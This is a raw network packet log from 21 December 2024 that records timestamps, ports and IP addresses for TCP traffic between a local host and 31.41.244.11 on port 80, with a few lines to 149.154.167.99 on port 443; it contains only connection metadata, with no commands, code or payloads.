Dec 21, 2024 10:15:34.240511894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.241106033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.241234064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.241244078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.241318941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.241852999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.241950989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.241978884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.242160082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.242739916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.242830038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.242860079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.242937088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.243516922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.243664026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.243900061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.244349957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.244478941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.244539976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.245141029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.245328903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.245417118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.245985985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.246083021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.246115923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.247078896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.247163057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.247966051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251101017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251111031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251125097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251135111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251147032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251158953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251171112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.251202106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.251202106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.251746893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.251928091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.252047062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.252490997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.252501011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.252511978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.252521992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.252535105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.252582073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.252582073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.252582073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.252763987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.255290031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.255938053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.255948067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.256108999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.256598949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.259234905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.397316933 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.397351980 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.398339987 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.399245977 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.405189991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.405365944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.405376911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.405426979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.405523062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.405558109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.406070948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.406424046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.406435013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.406482935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.406631947 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.407417059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.407464981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.407558918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.407970905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.408044100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.408116102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.408828020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.408905029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.408972025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.409255028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.409599066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.409684896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.409885883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.409945965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.410435915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.410495996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.410583973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.411298037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.411351919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.411458015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.412153006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.412204981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.412295103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.412940979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.412995100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.413075924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.413278103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.413733006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.413882017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.413958073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.414572001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.414732933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.414803028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.415499926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.415647030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.415705919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.415824890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.415836096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.415883064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.415961027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.415971994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.416027069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.417860031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.418030024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.418122053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.418795109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.418946028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.419011116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.419465065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.419655085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.419717073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.420319080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.420331001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.420403957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.421185970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.421195984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.421276093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.422004938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.422173977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.422233105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.422480106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.422491074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.422540903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.423046112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.423057079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.423161030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.423736095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.423873901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.423954964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.424565077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.424967051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.425045967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.426155090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.426165104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.426255941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.426856041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.426974058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.427006960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.427095890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.427747965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.427910089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.427948952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.427961111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.428592920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.428749084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.428828001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.429306030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.429441929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.429462910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.430226088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.430334091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.430346012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.430444956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.430444956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.431124926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431135893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431210995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.431710958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431721926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431730986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431741953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431787014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.431787014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.431802988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431869030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.431911945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.432636023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.432780027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.432852030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.433444023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.433634043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.433689117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.433689117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.434277058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.434407949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.434514999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.435172081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.435360909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.435421944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.435960054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.436073065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.436223984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.436780930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.436903954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.437019110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.437567949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.437649965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.437777042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.438416004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.438523054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.438570976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.439192057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.439289093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.439336061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.440042973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.440176010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.440211058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.440874100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.440927982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.440937996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.441359043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.441772938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.441783905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.441870928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.442601919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.442693949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.442785978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.443331003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.443526030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.443615913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.444176912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.444255114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.444274902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.444348097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.444999933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.445080042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.445081949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.445122004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.445810080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.445888042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.446501017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.446666002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.446731091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.451332092 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.595370054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.595422983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.595444918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.595483065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.595900059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.596098900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.596144915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.596235037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.596693039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.596739054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.596755981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.596904039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.597379923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.597491026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.597527027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.597614050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.598131895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.598213911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.598362923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.598428965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.599029064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.599102974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.599109888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.599188089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.599809885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.599898100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.599972010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.600157976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.600599051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.600733995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.600759029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.600868940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.601613998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.601628065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.601691008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.602334023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.602534056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.602557898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.602633953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.603121996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.603197098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.603250027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.603342056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.603924036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.604033947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.604062080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.604134083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.604793072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.604937077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.605026960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.605026960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.605556965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.605633020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.605695009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.605747938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.606385946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.606543064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.606574059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.606707096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.607225895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.607340097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.607372046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.607464075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.608095884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.608107090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.608237982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.608891010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.609035969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.609133005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.609695911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.609761953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.609796047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.609884977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.610521078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.610714912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.610729933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.610790014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.611324072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.611373901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.611407042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.611480951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.612178087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.612361908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.612390041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.612489939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.613028049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.613122940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.613161087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.613161087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.613802910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.613866091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.613888025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.613953114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.614610910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.614702940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.614765882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.614871025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.615427017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.615546942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.615575075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.615705967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.616352081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.616424084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.616441011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.616575956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.617135048 CET	80	49808	31.41.244.11	192.168.2.4
